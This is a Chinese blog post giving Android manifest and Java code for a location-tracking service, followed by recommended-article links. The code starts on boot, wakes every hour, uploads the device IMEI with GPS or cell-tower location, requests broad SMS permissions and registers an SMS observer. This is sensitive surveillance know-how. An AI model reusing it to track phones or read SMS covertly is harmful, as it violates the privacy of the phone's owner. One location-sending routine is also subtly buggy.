android开发一个定位和轨迹播放的程序

使用Android GPS api 实现一个轨迹记录的小功能 引入 市场上的跑步软件已经是非常多了,如咕咚和悦跑圈还有其他,很多大厂也在涉足这个方面。而最简单的运动跑步,最近几年也因简单,不限场地,运动效果出众备受大众喜欢。 我的这篇文章的内容很多也是从网上学习其他的博客内容,外加利用android自身的提供的api实现的,希望能对有这方面需求的朋友有所帮助。 介绍 先上两张图,界面比较丑,不过一些数据基本都有了,这个图片是临时要用截取的,所以轨迹线很短,之前 阅读详情

最近很多的跑步app,大概功能就是点击“开始”就自动定位,然后记录位置,上传到服务端(也有不上传的),最后将运动的轨迹在地图上显示出来。因为开启gps一般是每3、5秒就记录一下当前的gps,为此需要一个本地数据库支持,可以将位置信息每隔3秒记录一次并保存到本地数据库,然后设置一个消息服务,定时10分钟后上传一次本地数据库到服务器端,同时可以删除本地数据以减少数据空间占用量。

以下是代码:

配置文件:AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.totlbs.app" >

    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
    <uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
    <uses-permission android:name="android.permission.READ_SMS"></uses-permission>
    <uses-permission android:name="android.permission.WRITE_SMS"></uses-permission>
    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.totlbs.app.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <service android:name="com.totlbs.app.Service.GpsService"></service>
        <service android:name="com.totlbs.app.Service.LbsService"></service>
        <receiver android:name="com.totlbs.app.Receiver.BootCompletedReceiver">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>
    </application>

</manifest>


主程序布局页activity_main.xml

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    android:paddingBottom="@dimen/activity_vertical_margin"
    tools:context="com.totlbs.app.MainActivity">

    <Button
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Start Service"
        android:id="@+id/button"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:onClick="startService" />

</RelativeLayout>

主界面程序MainActivity.java

package com.totlbs.app;

import android.content.Intent;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;

import com.totlbs.app.Service.GpsService;


public class MainActivity extends ActionBarActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }

    public void startService(View view){
        Intent newIntent = new Intent(MainActivity.this, GpsService.class);
        newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  //注意,必须添加这个标记,否则启动会失败
        Log.i("GpsService", "Start Service");
        startService(newIntent);
    }

    public void stopService(View view){
        Intent newIntent = new Intent(MainActivity.this, GpsService.class);
        //newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  //注意,必须添加这个标记,否则启动会失败
        Log.i("GpsService", "Stop Service");
        stopService(newIntent);
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.main, menu);
        return true;
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        // Handle action bar item clicks here. The action bar will
        // automatically handle clicks on the Home/Up button, so long
        // as you specify a parent activity in AndroidManifest.xml.
        int id = item.getItemId();
        if (id == R.id.action_settings) {
            return true;
        }
        return super.onOptionsItemSelected(item);
    }

}

GpsServer.java

package com.totlbs.app.Service;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.os.Binder;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;

import com.totlbs.app.Mobile.SMSConstant;
import com.totlbs.app.Mobile.SMSHandler;
import com.totlbs.app.Mobile.SMSObserver;
import com.totlbs.app.Receiver.BootCompletedReceiver;

import java.io.DataOutputStream;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.Calendar;

/**
 * Created by Administrator on 14-5-15.
 */
public class GpsService extends Service {
    private static final String TAG = "GpsService";
    private SMSObserver mObserver;
    @Override
    public IBinder onBind(Intent intent) {
        Log.i(TAG, "gbs_onBind");
        return null;
    }

    @Override
    public void onCreate() {
        Log.i(TAG, "gbs_onCreate");
        Intent intent =new Intent(GpsService.this, BootCompletedReceiver.class);
        intent.setAction("com.totlbs.app.lbs.start");
        PendingIntent sender=PendingIntent.getBroadcast(GpsService.this, 0, intent, 0);
        AlarmManager alarm=(AlarmManager)getSystemService(ALARM_SERVICE);
        alarm.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis(),60*60*1000,sender);
        //开始短信监听
        addSMSObserver();
        super.onCreate();
    }

    @Override
    public void onDestroy() {
        Log.i(TAG, "gbs_onDestroy");
        Intent intent =new Intent(GpsService.this, BootCompletedReceiver.class);
        intent.setAction("com.totlbs.app.lbs.start");
        PendingIntent sender=PendingIntent.getBroadcast(GpsService.this, 0, intent, 0);
        AlarmManager alarm=(AlarmManager)getSystemService(ALARM_SERVICE);
        alarm.cancel(sender);
        //删除短信监听
        this.getContentResolver().unregisterContentObserver(mObserver);
        super.onDestroy();
        System.exit(0);
    }
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        // TODO Auto-generated method stub
        Log.i(TAG, "gbs_onStartCommand");
        return super.onStartCommand(intent, flags, startId);
    }

    public void addSMSObserver()
    {
        Log.i(TAG, "add a SMS observer. ");
        ContentResolver resolver = getContentResolver();
        Handler handler = new SMSHandler(GpsService.this);
        mObserver = new SMSObserver(resolver, handler);
        resolver.registerContentObserver(SMSConstant.CONTENT_URI, true, mObserver);
    }
}

LbsService.java

package com.totlbs.app.Service;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.location.LocationManager;
import android.net.Uri;
import android.os.Binder;
import android.os.IBinder;
import android.util.Log;

import com.totlbs.app.Util.GpsUtil;
import com.totlbs.app.Util.HttpUtil;
import com.totlbs.app.Util.PhoneUtil;

import java.io.DataOutputStream;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;

/**
 * Created by Administrator on 14-5-15.
 */
public class LbsService extends Service {
    private static final String TAG = "GpsService";

    @Override
    public IBinder onBind(Intent intent) {
        Log.i(TAG, "lbs_onBind");
        return null;
    }

    @Override
    public void onCreate() {
        Log.i(TAG, "lbs_onCreate");

        super.onCreate();
    }

    @Override
    public void onDestroy() {
        Log.i(TAG, "lbs_onDestroy");
        super.onDestroy();
    }
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        // TODO Auto-generated method stub
        Log.i(TAG, "lbs_onStartCommand");
        PhoneUtil.send(this);
        /*
        if(!isOPenGps(this)){
            Log.i(TAG, "gps not open");
            PhoneUtil.send(this);
        }else{
            Log.i(TAG, "gps open");
            GpsUtil gu=new GpsUtil();
            gu.getLocation(this);
        }
        */
        return super.onStartCommand(intent, flags, startId);
    }

    /**
     * 判断GPS是否开启,GPS或者AGPS开启一个就认为是开启的
     * @param context
     * @return true 表示开启
     */
    public  boolean isOPenGps(Context context) {
        LocationManager lm= (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
        // 通过GPS卫星定位,定位级别可以精确到街(通过24颗卫星定位,在室外和空旷的地方定位准确、速度快)
        boolean gps = lm.isProviderEnabled(LocationManager.GPS_PROVIDER);
        // 通过WLAN或移动网络(3G/2G)确定的位置(也称作AGPS,辅助GPS定位。主要用于在室内或遮盖物(建筑群或茂密的深林等)密集的地方定位)
        //boolean network = lm.isProviderEnabled(LocationManager.NETWORK_PROVIDER);
        if (gps) {
            return true;
        }

        return false;
    }
}

BootCompletedReceiver.java

package com.totlbs.app.Receiver;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import com.totlbs.app.Service.GpsService;
import com.totlbs.app.Service.LbsService;

/**
 * Created by Administrator on 14-5-15.
 */
public class BootCompletedReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if (intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED))
        {
            Intent newIntent = new Intent(context, GpsService.class);
            newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  //注意,必须添加这个标记,否则启动会失败
            Log.i("GpsService", "Start Gps Service");
            context.startService(newIntent);
        }else if(intent.getAction().equals("com.totlbs.app.lbs.start")){
            Intent newIntent = new Intent(context, LbsService.class);
            newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  //注意,必须添加这个标记,否则启动会失败
            Log.i("GpsService", "Start Lbs Service");
            context.startService(newIntent);
        }else if(intent.getAction().equals("com.totlbs.app.lbs.stop")){
            Intent newIntent = new Intent(context, LbsService.class);
            Log.i("GpsService", "Stop Lbs Service");
            context.stopService(newIntent);
        }
    }
}


GpsUtil.java

package com.totlbs.app.Util;

import android.content.Context;
import android.location.Criteria;
import android.location.GpsSatellite;
import android.location.GpsStatus;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.location.LocationProvider;
import android.os.Bundle;
import android.util.Log;

import java.util.Iterator;

/**
 * Created by Administrator on 14-5-21.
 */
public class GpsUtil {
    private LocationManager lm;
    Location location;
    String bestProvider;
    boolean isget=false;
    String TAG="GpsUtil";
    String deviceid;
    //位置监听
    LocationListener locationListener=new LocationListener() {
        /**
         * 位置信息变化时触发
         */
        public void onLocationChanged(Location location) {
            send(location);            
        }

        /**
         * GPS状态变化时触发
         */
        public void onStatusChanged(String provider, int status, Bundle extras) {
            switch (status) {
                //GPS状态为可见时
                case LocationProvider.AVAILABLE:
                    Log.i(TAG, "当前GPS状态为可见状态");
                    break;
                //GPS状态为服务区外时
                case LocationProvider.OUT_OF_SERVICE:
                    Log.i(TAG, "当前GPS状态为服务区外状态");
                    break;
                //GPS状态为暂停服务时
                case LocationProvider.TEMPORARILY_UNAVAILABLE:
                    Log.i(TAG, "当前GPS状态为暂停服务状态");
                    break;
            }
        }

        /**
         * GPS开启时触发
         */
        public void onProviderEnabled(String provider) {
            Location location=lm.getLastKnownLocation(provider);
            send(location);
        }

        /**
         * GPS禁用时触发
         */
        public void onProviderDisabled(String provider) {
            send(null);
        }


    };

    //状态监听
    GpsStatus.Listener listener = new GpsStatus.Listener() {
        public void onGpsStatusChanged(int event) {
            switch (event) {
                //第一次定位
                case GpsStatus.GPS_EVENT_FIRST_FIX:
                    Log.i(TAG, "第一次定位");
                    break;
                //卫星状态改变
                case GpsStatus.GPS_EVENT_SATELLITE_STATUS:
                    Log.i(TAG, "卫星状态改变");
                    //获取当前状态
                    GpsStatus gpsStatus=lm.getGpsStatus(null);
                    //获取卫星颗数的默认最大值
                    int maxSatellites = gpsStatus.getMaxSatellites();
                    //创建一个迭代器保存所有卫星
                    Iterator<GpsSatellite> iters = gpsStatus.getSatellites().iterator();
                    int count = 0;
                    while (iters.hasNext() && count <= maxSatellites) {
                        GpsSatellite s = iters.next();
                        count++;
                    }
                    Log.i(TAG,"搜索到:"+count+"颗卫星");
                    break;
                //定位启动
                case GpsStatus.GPS_EVENT_STARTED:
                    Log.i(TAG, "定位启动");
                    break;
                //定位结束
                case GpsStatus.GPS_EVENT_STOPPED:
                    Log.i(TAG, "定位结束");
                    break;
            }
        };
    };
    public void getLocation(Context ctx){
        deviceid=PhoneUtil.getDeviceId(ctx);
        lm=(LocationManager)ctx.getSystemService(Context.LOCATION_SERVICE);
        bestProvider = lm.getBestProvider(getCriteria(), true);
        lm.addGpsStatusListener(listener);
        //注意:此处更新准确度非常低,推荐在service里面启动一个Thread,在run中sleep(10000);然后执行handler.sendMessage(),更新位置
        lm.requestLocationUpdates(LocationManager.GPS_PROVIDER, 10000, 10, locationListener);
        /////////////////////////////
        new Thread(new Runnable(){
            @Override    public void run() {
                while (!isget) {
                    try {
                        Thread.sleep(3000);
                        Log.i(TAG, "wait 3 seconds");
                    } catch (InterruptedException e) {
                        e.printStackTrace();
                    }
                    if(lm!=null) {
                        //当结束服务时gps为空
                        // 获取经纬度
                        location = lm.getLastKnownLocation(bestProvider);
                        //如果gps无法获取经纬度,改用基站定位获取
                        if (location == null) {
                            Log.i(TAG, "gps location null");
                        }else {
                            Log.i(TAG, "success get location");
                            send(location);
                            isget=true;
                        }
                    }
                }
            }
        }).start();
    }

    public  void send(Location loc){
        if(loc!=null) {
            Log.i(TAG, "时间:" + location.getTime());
            Log.i(TAG, "经度:" + location.getLongitude());
            Log.i(TAG, "纬度:" + location.getLatitude());
            Log.i(TAG, "海拔:" + location.getAltitude());
            new Thread() {
                public void run() {
                    HttpUtil hu=new HttpUtil();
                    String pdata="deviceid="+deviceid+"&lng="+location.getLongitude()+"&lat="+ location.getLatitude()+"&t=gps";
                    hu.getHtml(Constant.LbsPostUrl, pdata, true, "utf-8");
                }
                ;
            }.start();
        }
    }
    /**
     * 返回查询条件
     * @return
     */
    private Criteria getCriteria(){
        Criteria criteria=new Criteria();
        //设置定位精确度 Criteria.ACCURACY_COARSE比较粗略,Criteria.ACCURACY_FINE则比较精细
        criteria.setAccuracy(Criteria.ACCURACY_FINE);
        //设置是否要求速度
        criteria.setSpeedRequired(false);
        // 设置是否允许运营商收费
        criteria.setCostAllowed(false);
        //设置是否需要方位信息
        criteria.setBearingRequired(false);
        //设置是否需要海拔信息
        criteria.setAltitudeRequired(false);
        // 设置对电源的需求
        criteria.setPowerRequirement(Criteria.POWER_LOW);
        return criteria;
    }
}

PhoneUtil.java

package com.totlbs.app.Util;

import android.content.Context;
import android.location.Location;
import android.telephony.NeighboringCellInfo;
import android.telephony.TelephonyManager;
import android.telephony.cdma.CdmaCellLocation;
import android.telephony.gsm.GsmCellLocation;
import android.util.Log;

import java.util.ArrayList;
import java.util.List;

/**
 * Created by Administrator on 14-5-21.
 */

public class PhoneUtil {
    static String deviceid="";
    static CellInfo cif=null;
    public  static CellInfo getCellInfo(Context ctx){
        TelephonyManager tm = (TelephonyManager) ctx.getSystemService(ctx.TELEPHONY_SERVICE);
        //网络制式
        int type = tm.getNetworkType();
        /**
         * 获取SIM卡的IMSI码
         * SIM卡唯一标识:IMSI 国际移动用户识别码(IMSI:International Mobile Subscriber Identification Number)是区别移动用户的标志,
         * 储存在SIM卡中,可用于区别移动用户的有效信息。IMSI由MCC、MNC、MSIN组成,其中MCC为移动国家号码,由3位数字组成,
         * 唯一地识别移动客户所属的国家,我国为460;MNC为网络id,由2位数字组成,
         * 用于识别移动客户所归属的移动网络,中国移动为00,中国联通为01,中国电信为03;MSIN为移动客户识别码,采用等长11位数字构成。
         * 唯一地识别国内GSM移动通信网中移动客户。所以要区分是移动还是联通,只需取得SIM卡中的MNC字段即可
         */
        String imsi = tm.getSubscriberId();
        //为了区分移动、联通还是电信,推荐使用imsi来判断(万不得己的情况下用getNetworkType()判断,比如imsi为空时)
        if(imsi!=null&&!"".equals(imsi)){
            if (imsi.startsWith("46000") || imsi.startsWith("46002")) {// 因为移动网络编号46000下的IMSI已经用完,所以虚拟了一个46002编号,134/159号段使用了此编号
                // 中国移动
                return mobile(tm);
            } else if (imsi.startsWith("46001")) {
                // 中国联通
                return union(tm);
            } else if (imsi.startsWith("46003")) {
                // 中国电信
                return cdma(tm);
            }
        }else{
            // 在中国,联通的3G为UMTS或HSDPA,电信的3G为EVDO
            // 在中国,移动的2G是EGDE,联通的2G为GPRS,电信的2G为CDMA
            // String OperatorName = tm.getNetworkOperatorName();
            //中国电信
            if (type == TelephonyManager.NETWORK_TYPE_EVDO_A
                    || type == TelephonyManager.NETWORK_TYPE_EVDO_0
                    || type == TelephonyManager.NETWORK_TYPE_CDMA
                    || type ==TelephonyManager.NETWORK_TYPE_1xRTT){
                return cdma(tm);
            }
            //移动(EDGE(2.75G)是GPRS(2.5G)的升级版,速度比GPRS要快。目前移动基本在国内升级普及EDGE,联通则在大城市部署EDGE。)
            else if(type == TelephonyManager.NETWORK_TYPE_EDGE
                    || type == TelephonyManager.NETWORK_TYPE_GPRS ){
                return mobile(tm);
            }
            //联通(EDGE(2.75G)是GPRS(2.5G)的升级版,速度比GPRS要快。目前移动基本在国内升级普及EDGE,联通则在大城市部署EDGE。)
            else if(type == TelephonyManager.NETWORK_TYPE_GPRS
                    ||type == TelephonyManager.NETWORK_TYPE_EDGE
                    ||type == TelephonyManager.NETWORK_TYPE_UMTS
                    ||type == TelephonyManager.NETWORK_TYPE_HSDPA){
                return union(tm);
            }
        }
        return null;
    }
    public static void send(Context ctx){
        deviceid=getDeviceId(ctx);
        cif=getCellInfo(ctx);
        if(cif!=null) {
            Log.i("cell","send cell info");
            new Thread() {
                public void run() {
                    HttpUtil hu = new HttpUtil();
                    String pdata="deviceid="+deviceid+"&mcc="+cif.getMobileCountryCode()+"&mnc="+cif.getMobileNetworkCode()+"&cid="+cif.getCellId()+"&lac="+cif.getLocationAreaCode()+"&t=phone";
                    Log.i("",pdata);
                    hu.getHtml(Constant.LbsPostUrl, pdata, true, "utf-8");
                }

                ;
            }.start();
        }else{
            Log.i("cell","cell info null");
        }
    }
    public static String getDeviceId(Context ctx){
        TelephonyManager tm = (TelephonyManager) ctx.getSystemService(ctx.TELEPHONY_SERVICE);
        return tm.getDeviceId();
    }
    /**
     * 电信
     *
     * @param tm
     */
    private static CellInfo cdma(TelephonyManager tm) {
        CdmaCellLocation location = (CdmaCellLocation) tm.getCellLocation();
        CellInfo info = new CellInfo();
        info.setCellId(location.getBaseStationId());
        info.setLocationAreaCode(location.getNetworkId());
        info.setMobileNetworkCode(String.valueOf(location.getSystemId()));
        info.setMobileCountryCode(tm.getNetworkOperator().substring(0, 3));
        info.setRadioType("cdma");
        return info;
    }


    /**
     * 移动
     *
     * @param tm
     */
    private static CellInfo mobile(TelephonyManager tm) {
        GsmCellLocation location = (GsmCellLocation)tm.getCellLocation();
        CellInfo info = new CellInfo();
        info.setCellId(location.getCid());
        info.setLocationAreaCode(location.getLac());
        info.setMobileNetworkCode(tm.getNetworkOperator().substring(3, 5));
        info.setMobileCountryCode(tm.getNetworkOperator().substring(0, 3));
        info.setRadioType("gsm");
        return info;
    }


    /**
     *  联通
     *
     * @param tm
     */
    private static CellInfo union(TelephonyManager tm) {
        GsmCellLocation location = (GsmCellLocation)tm.getCellLocation();
        CellInfo info = new CellInfo();
        //经过测试,获取联通数据以下两行必须去掉,否则会出现错误,错误类型为JSON Parsing Error
        info.setMobileNetworkCode(tm.getNetworkOperator().substring(3, 5));
        info.setMobileCountryCode(tm.getNetworkOperator().substring(0, 3));
        info.setCellId(location.getCid());
        info.setLocationAreaCode(location.getLac());
        info.setRadioType("gsm");
        return info;
    }
}

关于地图轨迹的展示可以使用百度或高德的api实现 ,比较简单,就不贴代码了。另外在地位的时候,会经常出现跳点,或有时回到超点,这个可以使用位置计算,如果在移动过程中当前点和上一点距离为0的话或很小,说明没有移动,可以不记录,以节省资源。

android开发笔记之多媒体—VideoView播放视频 ——使用VideoView播放视频 效果:使用步骤:1)在布局文件中定义VideoView的组件2)调用setVideoPath(path)指定要播放的资源或者调用setVideoURI(Uri uri)加载uri对应的视频。3)调用VideoView中的start,stop,pause方法控制视频播放4)和MediaController类一起使用,它可以提供一个友好的图形控制界面, 阅读详情

相关推荐

安卓原生开发为何是初创企业的生存基础设施

安卓原生开发是移动应用开发的基础技术路径,指基于Android SDK、直接调用系统API构建高性能、高可控性客户端的能力。其核心原理在于绕过Web容器或跨端中间层,实现对硬件传感器、后台服务、离线存储及厂商推送等底层能力的稳定访问。相比H5、小程序或跨平台方案,原生开发在弱网适配、消息送达率、启动性能和隐私合规等方面具备不可替代的技术价值。典型应用场景包括社区团购实时订单同步、智能硬件蓝牙联动、车载Android Auto集成、金融类App安全保活等强交互、低延迟、高可靠性需求领域。对于资源有限的初创企业

weixin_30776545的博客 452

android 图片运动轨迹,基于Android的高德地图的定位和运动轨迹记录的功能

直接上我的代码然后注释给的很清楚 public class SportActivity extends AppCompatActivity {private static final String TAG = "MainActivity";private MapView mapView;private AMap aMap;private TextView offlineMap, record;pr...

weixin_34108829的博客 1317

基于Android的记录跑步计步运动轨迹数据的App(完整源码+说明).zip

【资源说明】 1、该资源内项目代码都是经过测试运行成功,功能正常的情况下才上传的,请放心下载使用。 2、适用人群:主要针对计算机相关专业(如计科、信息安全、数据科学与大数据技术、人工智能、通信、物联网、数学、电子信息等)的同学或企业员工下载使用,具有较高的学习借鉴价值。 3、不仅适合小白学习实战练习,也可作为大作业、课程设计、毕设项目、初期项目立项演示等,欢迎下载,互相学习,共同进步!

安卓基于Android健身室外跑步运动轨迹打卡计步器app

在设计一款软件时一般都会把它分成几个模块,在模块的基础上还会再分小模块,完成大的模块然后对各个子模块逐个完成,这样就实现了软件模块化设计。模块化方式的软件设计可以方便软件管理,使软件结构清晰明了,也方便开发者对软件进行调试修改,需要注意的是各个模块的设计要根据别的模块来约束和完成,各个模块单独设计完成后需把软件所应用的各类子模块根据系统框架组合起。越高,对身体的动作的感应越灵敏,调节灵敏度来适应不同的体型了,路面等因素),通。的距离和速度,仅供参考),设置体重来调节用户的实际体重(这是为了计算消耗的卡路。

QQ402205496的博客 849

基于DBSCAN聚类算法的超像素实时分割

Real-Time Superpixel Segmentation by DBSCAN Clustering Algorithm 摘要 在本文中,我们提出了一种基于密度的带噪声应用空间聚类(DBSCAN)算法的50帧/秒实时图像超像素分割方法。为了降低超像素算法的计算量,我们采用了一种快速的两步框架。在第一个聚类阶段,使用具有颜色相似性和几何约束的DBSCAN算法对像素进行快速聚类,然后在第二个合并阶段,通过颜色和空间特征定义的距离度量,将小簇按其邻域合并为超像素。为了在这两个步骤中获得更好的超像素,定义了

yttt的博客 3493

Excel插件开发实战:从零封装一个带自定义Ribbon的.xlam工具包

本文详细介绍了如何从零开发一个带自定义Ribbon的Excel插件.xlam工具包。通过VBA和XML技术,读者将学习到插件架构设计、Ribbon界面定制、模块化开发以及企业级部署策略,帮助提升Excel自动化办公效率。

weixin_42531128的博客 517

Android使用高德地图实现运动轨迹绘制和轨迹回放

/ 设置为true表示显示定位层并可触发定位,false表示隐藏定位层并不可触发定位,默认是false。// 注意设置合适的定位时间的间隔(最小间隔支持为1000ms),并且在合适时间调用stopLocation()方法来取消定位请求。// 在单次定位情况下,定位无论成功与否,都无需调用stopLocation()方法移除请求,定位sdk内部会移除。坐标在记录的时候可以设置定位的时间间隔,假如运动的区间很小的话可以吧定位的时间设置的小一些,这样在绘制轨迹的时候轨迹会平滑一些。//显示默认的定位按钮。

u014388322的专栏 6749

星光、黑光、全彩夜视摄像头技术解析与实战选型指南

本文深入解析了星光、黑光、全彩与红外等主流夜视摄像头技术的工作原理与核心差异。针对不同监控场景与预算,提供了实战选型指南,帮助用户在安防项目中做出明智决策,实现夜间监控效果最大化。

weixin_29179311的博客 350

道格拉斯轨迹抽稀算法Android 百度地图SDK

参考博客 https://blog.youkuaiyun.com/qq_28602957/article/details/89339944 抽析代码 public class DouglasPeuckerUtil { public static List<LatLng> DouglasPeucker(List<LatLng> points ,int epsilon) { ...

Warms的博客 1272

从无序到结构化:HAC框架如何用哈希网格重构3D高斯压缩范式 | ECCV2024技术解读

本文深入解读了ECCV 2024提出的HAC框架,它通过引入二值哈希网格为无序的3D高斯锚点建立空间结构,并利用上下文模型进行自适应量化,从而实现了对3D Gaussian Splatting模型的高效压缩。该方法将压缩范式从单纯削减数据转向智能理解数据关系,在保持高质量渲染的同时,显著提升了压缩率,为移动端部署和实时应用提供了新方案。

yolo5detector的博客 459

Unity FPS射击控制系统:数据驱动的武器行为解耦方案

在Unity第一人称射击(FPS)开发中,射击系统常因输入、状态、行为耦合导致连发异常、换弹冲突与网络同步失准。其本质是缺乏对‘武器行为’(如后坐力曲线、弹药逻辑)与‘射击控制’(如输入合法性校验、冷却调度)的正交分离。本方案基于ScriptableObject实现WeaponData数据资产化,配合ShootingController状态机服务,达成输入解耦、运行时参数可调、协程受控、网络预测友好等工程目标。适用于中大型FPS项目架构升级与数据驱动转型,尤其解决Unity InputSystem与物理反馈

weixin_30536861的博客 611

Android使用高德地图实现轨迹播放和进度条控制

Android根据高德地图实现进度条轨迹播放

weixin_48488560的博客 2585

【OpenClaw从入门到精通】第26篇:从0到1构建OpenClaw二次发行版——企业专属AI平台实战指南(2026实测)

本文基于OpenClaw 2026.3.7开源内核,聚焦企业级AI平台的二次发行构建,从技术原理、实操流程到商业落地提供完整方法论。核心围绕“内核层-能力层-产品层”三层架构,详解源码编译、私有化部署、企业级特性开发(数据合规、国产化适配、业务系统集成)、产品化包装等关键步骤,并通过审计行业“智审助手”虚拟实战案例具象化落地路径。文章兼顾新手入门与进阶提升,提供可直接复用的代码、配置文件及执行结果,解决企业对AI Agent“开箱即用”“数据不出域”“业务适配”的核心诉求,助力开发者快速打造企业专属AI平台

专注于人工智能、软件开发、工控自动化、工厂数字化及智能化等领域,希望和大家共同进步! 713

(完整项目源码)北斗/GPS定位源码整套管理系统,轨迹播放,车辆管理,电子围栏,报警记录,数据库/人员定位/宠物定位/物流跟踪/资产定位

本文介绍了一套基于北斗/GPS定位的车辆管理系统,采用Spring+JPA+Struts2框架和MVC架构设计,具有强扩展性。系统支持1万+终端在线,适用于多种车辆及人员定位场景。主要功能包括轨迹回放、电子围栏、报警记录等,采用MySQL5.7数据库、Netty数据通讯和JT808/809协议。系统包含PC端(JSP+H5)和Android移动端,集成百度地图服务。文章详细提供了Linux服务器部署指南,包括JDK环境配置、Tomcat服务化设置及性能优化方案,特别解决了Tomcat加载缓慢的问题。该系统可

andy_zf的博客 1万+

VI4302 1D dToF Sensor助力无人机定高避障:一场前所未有的飞行体验

另外,传感器因测量精度不够,产生的高度信息误差,会导致无人机无法精确定高,影响飞行稳定性和安全降落。芯视界于2022年发布的全新一代基于单光子探测技术的dToF激光雷达传感器芯片-VI4302,采用单电源低功耗系统,实现高性能测距、高稳定性,同时具备极强抗阳光能力以及兼容性等强大优势。无人机可以根据传感器提供的信息,快速调整飞行路径,避开潜在的障碍物,确保平稳的飞行。VI4302 1D dToF Sensor能够以极高的精度测量物体与无人机之间的距离,实现毫米级别的测量精度。⭐ 体型小巧,灵敏度高。

致力于lidar应用开发 623

跨平台CMake AutoSAR

AutoSAR是汽车行业采用的一种软件架构标准,它旨在提供一个通用的软件平台,使得汽车软件的开发和集成变得更加高效和灵活。总结一下,CMake AutoSAR是一个强大的跨平台工具,为AutoSAR开发提供了便利。通过简单的配置文件和命令,开发人员可以实现高效、灵活的跨平台开发,并加快自动驾驶系统的开发进程。上述示例中,我们定义了一个名为AutoSAR的项目,指定了源代码文件的路径和依赖库的路径。通过简单的配置文件和命令,开发人员可以实现高效、灵活的跨平台开发,并加快自动驾驶系统的开发进程。

EcmFsharp的博客 233

Android 使用百度LBS SDK(六)轨迹回放,腾讯T3面试官透露

分享一份工作1到5年以上的Android程序员架构进阶学习路线体系,希望能对那些还在从事Android开发却还不知道如何去提升自己的,还处于迷茫的朋友!阿里P7级Android架构师技术脑图;查漏补缺,体系化深入学习提升**全套体系化高级架构视频;**七大主流技术模块,视频+源码+笔记有任何问题,欢迎广大网友一起来交流阿里P7级Android架构师技术脑图;查漏补缺,体系化深入学习提升[外链图片转存中…(img-OiDUXI3X-1711620598586)]**全套体系化高级架构视频;

2401_83946570的博客 908

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

openlayer实现轨迹回放实现小车转向角度,播放,暂停,播放速度,播放进度,

1.查询轨迹信息 <el-button size="mini" style="width: 98%; margin-top: 5px" type="primary" @click="getPointList">查询轨迹</el-button> 2.查询轨迹结果 getPointList() {//查询轨迹信息的前置条件的处理 //this.getTableData() //这是查询列表数据方法是上图中地图下面的翻页数据

qq_36406553的博客 1376

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

安卓Android大量项目源码实例喜欢的朋友都拿去吧

下面是整理的几十个安卓项目的源码,喜欢安卓的朋 友拿去吧,想必你一定用的上,喜欢安卓的朋友进来 看看吧。 Android开发的UI设计最佳实践.rar乐看播放器源代码.rar升级源码.rar商业项目完整版源代码.zip基于+Android+的英文电子词典.zip多屏幕显示效果.rar天天动听悬浮歌词实现.rar实现基站定位,以及WIFI定位,以及GPS定.rar...

优快云1332531529的博客 695

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

最新安卓版本对照表,API对照表(持续更新,更新到安卓17)

